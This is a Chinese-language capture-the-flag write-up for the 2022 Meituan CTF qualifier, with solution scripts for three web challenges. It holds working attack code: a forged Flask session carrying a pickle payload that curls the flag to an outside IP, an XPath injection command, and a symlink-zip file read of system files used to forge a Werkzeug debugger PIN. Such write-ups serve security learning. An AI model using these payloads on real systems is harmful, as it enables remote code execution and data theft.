2022 美团CTF 线上预选赛 部分题解

简单记录。

Web

easypickle

爆破计算key,利用replace绕过biorcheck,然后curlpostflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import ast
import base64
# standard imports
import sys
import zlib

from itsdangerous import base64_decode

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta
else: # > 3.4
from abc import ABC

# Lib for argument parsing

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e

sec = "045c"
for i in range(65535):
token = "eyJ1c2VyIjoibmRhbm4ifQ.YyVYGw.1ShJp1Yz0md7_igsQhkDq_rQT6k"
tmp = hex(i)[2:].zfill(4)
# tmp = os.urandom(2).hex()
# print(tmp)
res = FSCM.decode(token, tmp)
if "Decoding error" not in res:
sec = tmp
break
payload = b"""(cos\nsystem\nVcurl -d "a=`cat flag`" http://106.12.140.75:8000/\nos."""
session = (FSCM.encode(sec, '{"user":"admin", "ser_data":"%s"}' % base64.b64encode(payload).decode()))

import requests

burp0_url = "http://eci-2ze1m6bqazd6pfree9xe.cloudeci1.ichunqiu.com:8888/admin"
burp0_cookies = {
"session": session}
burp0_headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print(r.text)

babyjava

xpath注入,没什么过滤,随便找个工具xcat一键出。

1
2
3
4
5
6
7
8
9
10
11
xcat run -m POST http://eci-2ze39yqy7j0c1bj6kkug.cloudeci1.ichunqiu.com:8888/hello --true-string "<p>user1" xpath "xpath=user1" --encode=form
<root>
<user>
<username name="user1">
user1
</username>
<username name="user2">
flag?891316ee-6fe3-45c3-b8ac-b1f8f91dbae2?
</username>
</user>
</root>

OnlineUnzip

有个console,算pin debug命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import os

import requests

l = """/sys/class/net/eth0/address
/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
"""
for a in l.split("\n"):
# exit(0)
# a = """/usr/local/lib/python3.8/site-packages/flask/app.py"""
# a = "/sys/class/net/eth0/address"
# a = "/proc/self/cgroup"

for i in a.splitlines():
os.popen("ln -s %s link && zip --symlinks test.zip link" % i).read()
r = os.popen(
"curl -X POST http://eci-2ze0evt5ezb27153ica4.cloudeci1.ichunqiu.com:8888/upload -F file='@test.zip'").read()
# print("http://eci-2zeii0wm9qa5d519fvkn.cloudeci1.ichunqiu.com:8888/" + r.split("\">")[1].split("</a>")[0])

os.popen("rm -rf link test.zip").read()
r = requests.get(
"http://eci-2ze0evt5ezb27153ica4.cloudeci1.ichunqiu.com:8888/" + r.split("\">")[1].split("</a>")[0] + "/link")
print(r.text)

然后算一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'95532399935',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'96cec10d3d9307792745ec3b85c896209336caea5879454a97252d24dfa2e02dc6f3ca12b95c96ca78f524f4f87e9b26'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)